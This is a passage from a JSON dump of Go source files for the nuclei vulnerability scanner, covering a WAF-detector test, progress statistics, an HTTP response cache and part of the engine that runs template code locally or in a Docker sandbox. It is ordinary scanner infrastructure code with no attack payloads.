content\",\n\t\t},\n\t\t{\n\t\t\tname: \"empty regexCache\",\n\t\t\tdetector: &WafDetector{\n\t\t\t\twafs:       make(map[string]waf),\n\t\t\t\tregexCache: make(map[string]*regexp.Regexp),\n\t\t\t},\n\t\t\tcontent: \"test content\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tt.Errorf(\"DetectWAF panicked with nil pointer: %v\", r)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\twaf, matched := tt.detector.DetectWAF(tt.content)\n\t\t\tif matched {\n\t\t\t\tt.Errorf(\"expected no match for nil pointer case, got match=true, waf=%s\", waf)\n\t\t\t}\n\t\t\tif waf != \"\" {\n\t\t\t\tt.Errorf(\"expected empty WAF string for nil pointer case, got waf=%s\", waf)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/progress/doc.go",
    "content": "// Package progress implements progress display mechanism with very\n// simple command line statistics printing on runtime.\npackage progress\n"
  },
  {
    "path": "pkg/progress/progress.go",
    "content": "package progress\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/clistats\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// Progress is an interface implemented by nuclei progress display\n// driver.\ntype Progress interface {\n\t// Stop stops the progress recorder.\n\tStop()\n\t// Init inits the progress bar with initial details for scan\n\tInit(hostCount int64, rulesCount int, requestCount int64)\n\t// AddToTotal adds a value to the total request count\n\tAddToTotal(delta int64)\n\t// IncrementRequests increments the requests counter by 1.\n\tIncrementRequests()\n\t// SetRequests sets the counter by incrementing it with a delta\n\tSetRequests(count uint64)\n\t// IncrementMatched increments the matched counter by 1.\n\tIncrementMatched()\n\t// IncrementErrorsBy increments the error counter by count.\n\tIncrementErrorsBy(count int64)\n\t// IncrementFailedRequestsBy increments the number of requests counter by count\n\t// along with errors.\n\tIncrementFailedRequestsBy(count int64)\n}\n\nvar _ Progress = &StatsTicker{}\n\n// StatsTicker is a progress instance for showing program stats\ntype StatsTicker struct {\n\tcloud        bool\n\tactive       bool\n\toutputJSON   bool\n\tstats        clistats.StatisticsClient\n\ttickDuration time.Duration\n}\n\n// NewStatsTicker creates and returns a new progress tracking object.\nfunc NewStatsTicker(duration int, active, outputJSON, cloud bool, port int) (Progress, error) {\n\tvar tickDuration time.Duration\n\tif active && duration != -1 {\n\t\ttickDuration = time.Duration(duration) * time.Second\n\t} else {\n\t\ttickDuration = -1\n\t}\n\n\tprogress := &StatsTicker{}\n\n\tstatsOpts := &clistats.DefaultOptions\n\tstatsOpts.ListenPort = port\n\t// metrics port is enabled by default and is not configurable with new version of clistats\n\t// by default 63636 is used and than can be modified with -mp flag\n\n\tstats, err := clistats.NewWithOptions(context.TODO(), statsOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// only print in verbose mode\n\tgologger.Verbose().Msgf(\"Started metrics server at localhost:%v\", stats.Options.ListenPort)\n\tprogress.cloud = cloud\n\tprogress.active = active\n\tprogress.stats = stats\n\tprogress.tickDuration = tickDuration\n\tprogress.outputJSON = outputJSON\n\n\treturn progress, nil\n}\n\n// Init initializes the progress display mechanism by setting counters, etc.\nfunc (p *StatsTicker) Init(hostCount int64, rulesCount int, requestCount int64) {\n\tp.stats.AddStatic(\"templates\", rulesCount)\n\tp.stats.AddStatic(\"hosts\", hostCount)\n\tp.stats.AddStatic(\"startedAt\", time.Now())\n\tp.stats.AddCounter(\"requests\", uint64(0))\n\tp.stats.AddCounter(\"errors\", uint64(0))\n\tp.stats.AddCounter(\"matched\", uint64(0))\n\tp.stats.AddCounter(\"total\", uint64(requestCount))\n\n\tif p.active {\n\t\tvar printCallbackFunc clistats.DynamicCallback\n\t\tif p.outputJSON {\n\t\t\tprintCallbackFunc = printCallbackJSON\n\t\t} else {\n\t\t\tprintCallbackFunc = p.makePrintCallback()\n\t\t}\n\t\tp.stats.AddDynamic(\"summary\", printCallbackFunc)\n\t\tif err := p.stats.Start(); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Couldn't start statistics: %s\", err)\n\t\t}\n\n\t\t// Note: this is needed and is responsible for the tick event\n\t\tp.stats.GetStatResponse(p.tickDuration, func(s string, err error) error {\n\t\t\tif err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not read statistics: %s\\n\", err)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n}\n\n// AddToTotal adds a value to the total request count\nfunc (p *StatsTicker) AddToTotal(delta int64) {\n\tp.stats.IncrementCounter(\"total\", int(delta))\n}\n\n// IncrementRequests increments the requests counter by 1.\nfunc (p *StatsTicker) IncrementRequests() {\n\tp.stats.IncrementCounter(\"requests\", 1)\n}\n\n// SetRequests sets the counter by incrementing it with a delta\nfunc (p *StatsTicker) SetRequests(count uint64) {\n\tp.stats.IncrementCounter(\"requests\", int(count))\n}\n\n// IncrementMatched increments the matched counter by 1.\nfunc (p *StatsTicker) IncrementMatched() {\n\tp.stats.IncrementCounter(\"matched\", 1)\n}\n\n// IncrementErrorsBy increments the error counter by count.\nfunc (p *StatsTicker) IncrementErrorsBy(count int64) {\n\tp.stats.IncrementCounter(\"errors\", int(count))\n}\n\n// IncrementFailedRequestsBy increments the number of requests counter by count along with errors.\nfunc (p *StatsTicker) IncrementFailedRequestsBy(count int64) {\n\t// mimic dropping by incrementing the completed requests\n\tp.stats.IncrementCounter(\"requests\", int(count))\n\tp.stats.IncrementCounter(\"errors\", int(count))\n}\n\nfunc (p *StatsTicker) makePrintCallback() func(stats clistats.StatisticsClient) interface{} {\n\treturn func(stats clistats.StatisticsClient) interface{} {\n\t\tbuilder := &strings.Builder{}\n\n\t\tvar duration time.Duration\n\t\tif startedAt, ok := stats.GetStatic(\"startedAt\"); ok {\n\t\t\tif startedAtTime, ok := startedAt.(time.Time); ok {\n\t\t\t\tduration = time.Since(startedAtTime)\n\t\t\t\t_, _ = fmt.Fprintf(builder, \"[%s]\", fmtDuration(duration))\n\t\t\t}\n\t\t}\n\n\t\tif templates, ok := stats.GetStatic(\"templates\"); ok {\n\t\t\tbuilder.WriteString(\" | Templates: \")\n\t\t\tbuilder.WriteString(clistats.String(templates))\n\t\t}\n\n\t\tif hosts, ok := stats.GetStatic(\"hosts\"); ok {\n\t\t\tbuilder.WriteString(\" | Hosts: \")\n\t\t\tbuilder.WriteString(clistats.String(hosts))\n\t\t}\n\n\t\trequests, okRequests := stats.GetCounter(\"requests\")\n\t\ttotal, okTotal := stats.GetCounter(\"total\")\n\n\t\t// If input is not given, total is 0 which cause percentage overflow\n\t\tif total == 0 {\n\t\t\ttotal = requests\n\t\t}\n\n\t\tif okRequests && okTotal && duration > 0 && !p.cloud {\n\t\t\tbuilder.WriteString(\" | RPS: \")\n\t\t\tbuilder.WriteString(clistats.String(uint64(float64(requests) / duration.Seconds())))\n\t\t}\n\n\t\tif matched, ok := stats.GetCounter(\"matched\"); ok {\n\t\t\tbuilder.WriteString(\" | Matched: \")\n\t\t\tbuilder.WriteString(clistats.String(matched))\n\t\t}\n\n\t\tif errors, ok := stats.GetCounter(\"errors\"); ok && !p.cloud {\n\t\t\tbuilder.WriteString(\" | Errors: \")\n\t\t\tbuilder.WriteString(clistats.String(errors))\n\t\t}\n\n\t\tif okRequests && okTotal {\n\t\t\tif p.cloud {\n\t\t\t\tbuilder.WriteString(\" | Task: \")\n\t\t\t} else {\n\t\t\t\tbuilder.WriteString(\" | Requests: \")\n\t\t\t}\n\t\t\tbuilder.WriteString(clistats.String(requests))\n\t\t\tbuilder.WriteRune('/')\n\t\t\tbuilder.WriteString(clistats.String(total))\n\t\t\tbuilder.WriteRune(' ')\n\t\t\tbuilder.WriteRune('(')\n\t\t\t//nolint:gomnd // this is not a magic number\n\t\t\tbuilder.WriteString(clistats.String(uint64(float64(requests) / float64(total) * 100.0)))\n\t\t\tbuilder.WriteRune('%')\n\t\t\tbuilder.WriteRune(')')\n\t\t\tbuilder.WriteRune('\\n')\n\t\t}\n\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"%s\", builder.String())\n\t\treturn builder.String()\n\t}\n}\n\nfunc printCallbackJSON(stats clistats.StatisticsClient) interface{} {\n\tbuilder := &strings.Builder{}\n\tif err := json.NewEncoder(builder).Encode(metricsMap(stats)); err == nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"%s\", builder.String())\n\t}\n\treturn builder.String()\n}\n\nfunc metricsMap(stats clistats.StatisticsClient) map[string]interface{} {\n\tresults := make(map[string]interface{})\n\n\tvar (\n\t\tstartedAt time.Time\n\t\tduration  time.Duration\n\t)\n\n\tif stAt, ok := stats.GetStatic(\"startedAt\"); ok {\n\t\tstartedAt = stAt.(time.Time)\n\t\tduration = time.Since(startedAt)\n\t}\n\n\tresults[\"startedAt\"] = startedAt\n\tresults[\"duration\"] = fmtDuration(duration)\n\ttemplates, _ := stats.GetStatic(\"templates\")\n\tresults[\"templates\"] = clistats.String(templates)\n\thosts, _ := stats.GetStatic(\"hosts\")\n\tresults[\"hosts\"] = clistats.String(hosts)\n\tmatched, _ := stats.GetCounter(\"matched\")\n\tresults[\"matched\"] = clistats.String(matched)\n\trequests, _ := stats.GetCounter(\"requests\")\n\tresults[\"requests\"] = clistats.String(requests)\n\ttotal, _ := stats.GetCounter(\"total\")\n\tresults[\"total\"] = clistats.String(total)\n\tresults[\"rps\"] = clistats.String(uint64(float64(requests) / duration.Seconds()))\n\terrors, _ := stats.GetCounter(\"errors\")\n\tresults[\"errors\"] = clistats.String(errors)\n\n\t// nolint:gomnd // this is not a magic number\n\tpercentData := (float64(requests) * float64(100)) / float64(total)\n\tpercent := clistats.String(uint64(percentData))\n\tresults[\"percent\"] = percent\n\treturn results\n}\n\n// fmtDuration formats the duration for the time elapsed\nfunc fmtDuration(d time.Duration) string {\n\td = d.Round(time.Second)\n\th := d / time.Hour\n\td -= h * time.Hour\n\tm := d / time.Minute\n\td -= m * time.Minute\n\ts := d / time.Second\n\treturn fmt.Sprintf(\"%d:%02d:%02d\", h, m, s)\n}\n\n// Stop stops the progress bar execution\nfunc (p *StatsTicker) Stop() {\n\tif p.active {\n\t\t// Print one final summary\n\t\tif p.outputJSON {\n\t\t\tprintCallbackJSON(p.stats)\n\t\t} else {\n\t\t\tp.makePrintCallback()(p.stats)\n\t\t}\n\t\tif err := p.stats.Stop(); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Couldn't stop statistics: %s\", err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/projectfile/httputil.go",
    "content": "package projectfile\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/gob\"\n\t\"encoding/hex\"\n\t\"io\"\n\t\"maps\"\n\t\"net/http\"\n)\n\nfunc hash(v interface{}) (string, error) {\n\tdata, err := marshal(v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsh := sha256.New()\n\n\tif _, err = sh.Write(data); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.EncodeToString(sh.Sum(nil)), nil\n}\n\nfunc marshal(data interface{}) ([]byte, error) {\n\tvar b bytes.Buffer\n\tenc := gob.NewEncoder(&b)\n\tif err := enc.Encode(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b.Bytes(), nil\n}\n\nfunc unmarshal(data []byte, obj interface{}) error {\n\tdec := gob.NewDecoder(bytes.NewBuffer(data))\n\tif err := dec.Decode(obj); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\ntype HTTPRecord struct {\n\tRequest  []byte\n\tResponse *InternalResponse\n}\n\ntype InternalRequest struct {\n\tTarget    string\n\tHTTPMajor int\n\tHTTPMinor int\n\tMethod    string\n\tHeaders   map[string][]string\n\tBody      []byte\n}\n\ntype InternalResponse struct {\n\tHTTPMajor    int\n\tHTTPMinor    int\n\tStatusCode   int\n\tStatusReason string\n\tHeaders      map[string][]string\n\tBody         []byte\n}\n\n// Unused\n// func newInternalRequest() *InternalRequest {\n// \treturn &InternalRequest{\n// \t\tHeaders: make(map[string][]string),\n// \t}\n// }\n\nfunc newInternalResponse() *InternalResponse {\n\treturn &InternalResponse{\n\t\tHeaders: make(map[string][]string),\n\t}\n}\n\nfunc toInternalResponse(resp *http.Response, body []byte) *InternalResponse {\n\tintResp := newInternalResponse()\n\n\tintResp.HTTPMajor = resp.ProtoMajor\n\tintResp.HTTPMinor = resp.ProtoMinor\n\tintResp.StatusCode = resp.StatusCode\n\tintResp.StatusReason = resp.Status\n\tmaps.Copy(intResp.Headers, resp.Header)\n\tintResp.Body = body\n\treturn intResp\n}\n\nfunc fromInternalResponse(intResp *InternalResponse) *http.Response {\n\tvar contentLength int64\n\tif intResp.Body != nil {\n\t\tcontentLength = int64(len(intResp.Body))\n\t}\n\treturn &http.Response{\n\t\tProtoMinor:    intResp.HTTPMinor,\n\t\tProtoMajor:    intResp.HTTPMajor,\n\t\tStatus:        intResp.StatusReason,\n\t\tStatusCode:    intResp.StatusCode,\n\t\tHeader:        intResp.Headers,\n\t\tContentLength: contentLength,\n\t\tBody:          io.NopCloser(bytes.NewReader(intResp.Body)),\n\t}\n}\n"
  },
  {
    "path": "pkg/projectfile/project.go",
    "content": "package projectfile\n\nimport (\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n)\n\nvar (\n\tErrNotFound          = errors.New(\"not found\")\n\tregexUserAgent       = regexp.MustCompile(`(?mi)\\r\\nUser-Agent: .+\\r\\n`)\n\tregexDefaultInteract = regexp.MustCompile(`(?mi)[a-zA-Z1-9%.]+interact.sh`)\n)\n\ntype Options struct {\n\tPath    string\n\tCleanup bool\n}\n\ntype ProjectFile struct {\n\tPath string\n\thm   *hybrid.HybridMap\n}\n\nfunc New(options *Options) (*ProjectFile, error) {\n\tvar p ProjectFile\n\thOptions := hybrid.DefaultDiskOptions\n\thOptions.Path = options.Path\n\thOptions.Cleanup = options.Cleanup\n\tvar err error\n\tp.hm, err = hybrid.New(hOptions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &p, nil\n}\n\nfunc (pf *ProjectFile) cleanupData(data []byte) []byte {\n\t// ignore all user agents\n\tdata = regexUserAgent.ReplaceAll(data, []byte(\"\\r\\n\"))\n\t// ignore interact markers\n\treturn regexDefaultInteract.ReplaceAll(data, []byte(\"\"))\n}\n\nfunc (pf *ProjectFile) Get(req []byte) (*http.Response, error) {\n\treqHash, err := hash(pf.cleanupData(req))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata, ok := pf.hm.Get(reqHash)\n\tif !ok {\n\t\treturn nil, ErrNotFound\n\t}\n\n\tvar httpRecord HTTPRecord\n\thttpRecord.Response = newInternalResponse()\n\tif err := unmarshal(data, &httpRecord); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn fromInternalResponse(httpRecord.Response), nil\n}\n\nfunc (pf *ProjectFile) Set(req []byte, resp *http.Response, data []byte) error {\n\treqHash, err := hash(pf.cleanupData(req))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar httpRecord HTTPRecord\n\thttpRecord.Request = req\n\thttpRecord.Response = toInternalResponse(resp, data)\n\tdata, err = marshal(httpRecord)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn pf.hm.Set(reqHash, data)\n}\n\nfunc (pf *ProjectFile) Close() {\n\t_ = pf.hm.Close()\n}\n"
  },
  {
    "path": "pkg/protocols/code/code.go",
    "content": "package code\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/alecthomas/chroma/quick\"\n\t\"github.com/ditashi/jsbeautifier-go/jsbeautifier\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gozero\"\n\t\"github.com/projectdiscovery/gozero/sandbox\"\n\tgozerotypes \"github.com/projectdiscovery/gozero/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tcontextutil \"github.com/projectdiscovery/utils/context\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nconst (\n\tpythonEnvRegex = `os\\.getenv\\(['\"]([^'\"]+)['\"]\\)`\n)\n\nvar (\n\t// pythonEnvRegexCompiled is the compiled regex for python environment variables\n\tpythonEnvRegexCompiled = regexp.MustCompile(pythonEnvRegex)\n\t// ErrCodeExecutionDeadline is the error returned when allotted time for script execution exceeds\n\tErrCodeExecutionDeadline = errkit.New(\"code execution deadline exceeded\").SetKind(errkit.ErrKindDeadline).Build()\n)\n\ntype Sandbox struct {\n\tWorkingDir string `yaml:\"working-dir,omitempty\" json:\"working-dir,omitempty\" jsonschema:\"title=working-dir,description=Working directory\"`\n\tImage      string `yaml:\"image,omitempty\" json:\"image,omitempty\" jsonschema:\"title=image,description=Image\"`\n}\n\n// Request is a request for the SSL protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID is the optional ID of the Request\"`\n\t// description: |\n\t//   Engine type\n\tEngine  []string `yaml:\"engine,omitempty\" json:\"engine,omitempty\" jsonschema:\"title=engine,description=Engine\"`\n\tSandbox *Sandbox `yaml:\"sandbox,omitempty\" json:\"sandbox,omitempty\" jsonschema:\"title=sandbox,description=Sandbox\"`\n\t// description: |\n\t//   PreCondition is a condition which is evaluated before sending the request.\n\tPreCondition string `yaml:\"pre-condition,omitempty\" json:\"pre-condition,omitempty\" jsonschema:\"title=pre-condition for the request,description=PreCondition is a condition which is evaluated before sending the request\"`\n\t// description: |\n\t//   Engine Arguments\n\tArgs []string `yaml:\"args,omitempty\" json:\"args,omitempty\" jsonschema:\"title=args,description=Args\"`\n\t// description: |\n\t//   Pattern preferred for file name\n\tPattern string `yaml:\"pattern,omitempty\" json:\"pattern,omitempty\" jsonschema:\"title=pattern,description=Pattern\"`\n\t// description: |\n\t//   Source File/Snippet\n\tSource string `yaml:\"source,omitempty\" json:\"source,omitempty\" jsonschema:\"title=source file/snippet,description=Source snippet\"`\n\n\toptions              *protocols.ExecutorOptions `yaml:\"-\" json:\"-\"`\n\tpreConditionCompiled *goja.Program              `yaml:\"-\" json:\"-\"`\n\tgozero               *gozero.Gozero             `yaml:\"-\" json:\"-\"`\n\tsrc                  *gozero.Source             `yaml:\"-\" json:\"-\"`\n}\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\trequest.options = options\n\n\tgozeroOptions := &gozero.Options{\n\t\tEngines:                  request.Engine,\n\t\tArgs:                     request.Args,\n\t\tEarlyCloseFileDescriptor: true,\n\t}\n\n\tif options.Options.Debug || options.Options.DebugResponse {\n\t\t// enable debug mode for gozero\n\t\tgozeroOptions.DebugMode = true\n\t}\n\n\tengine, err := gozero.New(gozeroOptions)\n\tif err != nil {\n\t\terrMsg := fmt.Sprintf(\"[%s] engines '%s' not available on host\", options.TemplateID, strings.Join(request.Engine, \",\"))\n\n\t\t// NOTE(dwisiswant0): In validation mode, skip engine avail check to\n\t\t// allow template validation w/o requiring all engines to be installed\n\t\t// on the host.\n\t\t//\n\t\t// TODO: Ideally, error checking should be done at the highest level\n\t\t// (e.g. runner, main function). For example, we can reuse errors[1][2]\n\t\t// from the `projectdiscovery/gozero` package and wrap (yes, not string\n\t\t// format[3][4]) em inside `projectdiscovery/utils/errors` package to\n\t\t// preserve error semantics and enable runtime type assertion via\n\t\t// builtin `errors.Is` func for granular err handling in the call stack.\n\t\t//\n\t\t// [1]: https://github.com/projectdiscovery/gozero/blob/v0.0.3/gozero.go#L20\n\t\t// [2]: https://github.com/projectdiscovery/gozero/blob/v0.0.3/gozero.go#L35\n\t\t// [3]: https://github.com/projectdiscovery/utils/blob/v0.4.21/errors/enriched.go#L85\n\t\t// [4]: https://github.com/projectdiscovery/utils/blob/v0.4.21/errors/enriched.go#L137\n\t\tif options.Options.Validate {\n\t\t\toptions.Logger.Error().Msgf(\"%s <- %s\", errMsg, err)\n\t\t} else {\n\t\t\treturn errkit.Wrap(err, errMsg)\n\t\t}\n\t} else {\n\t\trequest.gozero = engine\n\t}\n\n\tvar src *gozero.Source\n\n\tsrc, err = gozero.NewSourceWithString(request.Source, request.Pattern, request.options.TemporaryDirectory)\n\tif err != nil {\n\t\treturn err\n\t}\n\trequest.src = src\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errkit.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\tfor _, matcher := range compiled.Matchers {\n\t\t\t// default matcher part for code protocol is response\n\t\t\tif matcher.Part == \"\" || matcher.Part == \"body\" {\n\t\t\t\tmatcher.Part = \"response\"\n\t\t\t}\n\t\t}\n\t\tfor _, extractor := range compiled.Extractors {\n\t\t\t// default extractor part for code protocol is response\n\t\t\tif extractor.Part == \"\" || extractor.Part == \"body\" {\n\t\t\t\textractor.Part = \"response\"\n\t\t\t}\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\n\t// compile pre-condition if any\n\tif request.PreCondition != \"\" {\n\t\tpreConditionCompiled, err := compiler.SourceAutoMode(request.PreCondition, false)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not compile pre-condition: %s\", err)\n\t\t}\n\t\trequest.preConditionCompiled = preConditionCompiled\n\t}\n\treturn nil\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (request *Request) Requests() int {\n\treturn 1\n}\n\n// GetID returns the ID for the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) (err error) {\n\tmetaSrc, err := gozero.NewSourceWithString(input.MetaInput.Input, \"\", request.options.TemporaryDirectory)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := metaSrc.Cleanup(); err != nil {\n\t\t\tgologger.Warning().Msgf(\"%s\\n\", err)\n\t\t}\n\t}()\n\n\tvar interactshURLs []string\n\n\t// inject all template context values as gozero env allvars\n\tallvars := protocolutils.GenerateVariables(input.MetaInput.Input, false, nil)\n\t// add template context values if available\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tallvars = generators.MergeMaps(allvars, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\t// add dynamic and previous variables\n\tallvars = generators.MergeMaps(allvars, dynamicValues, previous)\n\t// optionvars are vars passed from CLI or env variables\n\toptionVars := generators.BuildPayloadFromOptions(request.options.Options)\n\tvariablesMap := request.options.Variables.Evaluate(allvars)\n\t// since we evaluate variables using allvars, give precedence to variablesMap\n\tallvars = generators.MergeMaps(allvars, variablesMap, optionVars, request.options.Constants)\n\tfor name, value := range allvars {\n\t\tv := fmt.Sprint(value)\n\t\tv, interactshURLs = request.options.Interactsh.Replace(v, interactshURLs)\n\t\t// if value is updated by interactsh, update allvars to reflect the change downstream\n\t\tallvars[name] = v\n\t\tmetaSrc.AddVariable(gozerotypes.Variable{Name: name, Value: v})\n\t}\n\n\tif request.PreCondition != \"\" {\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Debug().Msgf(\"[%s] Executing Precondition for Code request\\n\", request.TemplateID)\n\t\t\tvar highlightFormatter = \"terminal256\"\n\t\t\tif request.options.Options.NoColor {\n\t\t\t\thighlightFormatter = \"text\"\n\t\t\t}\n\t\t\tvar buff bytes.Buffer\n\t\t\t_ = quick.Highlight(&buff, beautifyJavascript(request.PreCondition), \"javascript\", highlightFormatter, \"monokai\")\n\t\t\tprettyPrint(request.TemplateID, buff.String())\n\t\t}\n\n\t\targs := compiler.NewExecuteArgs()\n\t\targs.TemplateCtx = allvars\n\n\t\tresult, err := request.options.JsCompiler.ExecuteWithOptions(request.preConditionCompiled, args,\n\t\t\t&compiler.ExecuteOptions{\n\t\t\t\tExecutionId:     request.options.Options.ExecutionId,\n\t\t\t\tTimeoutVariants: request.options.Options.GetTimeouts(),\n\t\t\t\tSource:          &request.PreCondition,\n\t\t\t\tCallback:        registerPreConditionFunctions,\n\t\t\t\tCleanup:         cleanUpPreConditionFunctions,\n\t\t\t\tContext:         input.Context(),\n\t\t\t})\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not execute pre-condition: %s\", err)\n\t\t}\n\t\tif !result.GetSuccess() || types.ToString(result[\"error\"]) != \"\" {\n\t\t\tgologger.Warning().Msgf(\"[%s] Precondition for request %s was not satisfied\\n\", request.TemplateID, request.PreCondition)\n\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn nil\n\t\t}\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Debug().Msgf(\"[%s] Precondition for request was satisfied\\n\", request.TemplateID)\n\t\t}\n\t}\n\n\tctx, cancel := context.WithTimeoutCause(input.Context(), request.options.Options.GetTimeouts().CodeExecutionTimeout, ErrCodeExecutionDeadline)\n\tdefer cancel()\n\t// Note: we use contextutil despite the fact that gozero accepts context as argument\n\tgOutput, err := contextutil.ExecFuncWithTwoReturns(ctx, func() (*gozerotypes.Result, error) {\n\t\tif request.useSandbox() {\n\t\t\treturn request.gozero.EvalWithVirtualEnv(\n\t\t\t\tctx, gozero.VirtualEnvDocker,\n\t\t\t\trequest.src,\n\t\t\t\tmetaSrc,\n\t\t\t\t&sandbox.DockerConfiguration{\n\t\t\t\t\tWorkingDir: request.Sandbox.WorkingDir,\n\t\t\t\t\tImage:      request.Sandbox.Image,\n\t\t\t\t},\n\t\t\t)\n\t\t}\n\t\treturn request.gozero.Eval(ctx, request.src, metaSrc)\n\t})\n\tif gOutput == nil {\n\t\t// write error to stderr buff\n\t\tvar buff bytes.Buffer\n\t\tif err != nil {\n\t\t\tbuff.WriteString(err.Error())\n\t\t} else {\n\t\t\tbuff.WriteString(\"no output something went wrong\")\n\t\t}\n\t\tgOutput = &gozerotypes.Result{\n\t\t\tStderr: buff,\n\t\t}\n\t}\n\tgologger.Verbose().Msgf(\"[%s] Executed code on local machine %v\", request.options.TemplateID, input.MetaInput.Input)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"Code Protocol request variables: %s\\n\", vardump.DumpVariables(allvars))\n\t}\n\n\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\tgologger.Debug().MsgFunc(func() string {\n\t\t\tdashes := strings.Repeat(\"-\", 15)\n\t\t\tsb := &strings.Builder{}\n\t\t\tfmt.Fprintf(sb, \"[%s] Dumped Executed Source Code for input/stdin: '%v'\", request.options.TemplateID, input.MetaInput.Input)\n\t\t\tfmt.Fprintf(sb, \"\\n%v\\n%v\\n%v\\n\", dashes, \"Source Code:\", dashes)\n\t\t\tsb.WriteString(interpretEnvVars(request.Source, allvars))\n\t\t\tsb.WriteString(\"\\n\")\n\t\t\tfmt.Fprintf(sb, \"\\n%v\\n%v\\n%v\\n\", dashes, \"Command Executed:\", dashes)\n\t\t\tsb.WriteString(interpretEnvVars(gOutput.Command, allvars))\n\t\t\tsb.WriteString(\"\\n\")\n\t\t\tfmt.Fprintf(sb, \"\\n%v\\n%v\\n%v\\n\", dashes, \"Command Output:\", dashes)\n\t\t\tsb.WriteString(gOutput.DebugData.String())\n\t\t\tsb.WriteString(\"\\n\")\n\t\t\tsb.WriteString(\"[WRN] Command Output here is stdout+sterr, in response variables they are separate (use -v -svd flags for more details)\")\n\t\t\treturn sb.String()\n\t\t})\n\t}\n\n\tdataOutputString := fmtStdout(gOutput.Stdout.String())\n\n\tdata := make(output.InternalEvent)\n\t// also include all request variables in result event\n\tfor _, value := range metaSrc.Variables {\n\t\tdata[value.Name] = value.Value\n\t}\n\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"response\"] = dataOutputString // response contains filtered output (eg without trailing 